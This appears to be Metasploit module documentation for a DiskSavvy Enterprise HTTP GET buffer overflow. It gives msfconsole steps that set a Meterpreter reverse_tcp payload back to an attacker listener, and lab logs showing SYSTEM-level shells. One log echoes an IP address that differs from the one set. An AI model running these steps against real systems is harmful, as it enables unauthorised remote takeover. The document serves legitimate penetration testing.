Disksavvy Get Bof - Metasploit Framework

Vulnerable Application

DiskSavvy Enterprise versions up to v9.3.14 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows XP SP3 and Windows 7 SP1. The vulnerable application is available for download at Exploit-DB.

Verification Steps

Install a vulnerable DiskSavvy Enterprise
Start Disk Savvy Enterprise service
Start Disk Savvy Enterprise client application
Navigate to Tools > Advanced Options > Server
Check Enable Web Server On Port 80 to start the web interface
Start msfconsole
Do use exploit/windows/http/disksavvy_get_bof
Do set rhost ip
Do check
Verify the target is vulnerable
Do set payload windows/meterpreter/reverse_tcp
Do set lhost ip
Do exploit
Verify the Meterpreter session is opened

Scenarios

###DiskSavvy Enterprise v9.1.14 on Windows XP SP3

msf exploit(disksavvy_get_bof) > options

Module options (exploit/windows/http/disksavvy_get_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.198.130  yes       The target address
   RPORT    80               yes       The target port
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.198.138  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(disksavvy_get_bof) > exploit

[*] Started reverse TCP handler on 192.168.198.138:4444 
[*] Automatically detecting the target...
[*] Selected Target: DiskSavvy Enterprise v9.1.14
[*] Sending stage (957999 bytes) to 192.168.198.130
[*] Meterpreter session 1 opened (192.168.198.138:4444 -> 192.168.198.130:1140) at 2017-01-19 13:38:18 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : GABOR-03722ADE8
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >

###DiskSavvy Enterprise v9.3.14 on Windows 7 SP1

msf exploit(disksavvy_get_bof) > set rhost 192.168.198.133
rhost => 192.168.198.130
msf exploit(disksavvy_get_bof) > exploit

[*] Started reverse TCP handler on 192.168.198.138:4444 
[*] Automatically detecting the target...
[*] Selected Target: DiskSavvy Enterprise v9.3.14
[*] Sending stage (957999 bytes) to 192.168.198.133
[*] Meterpreter session 2 opened (192.168.198.138:4444 -> 192.168.198.133:49187) at 2017-01-08 05:16:13 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-BCJL9PJ5BF5
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >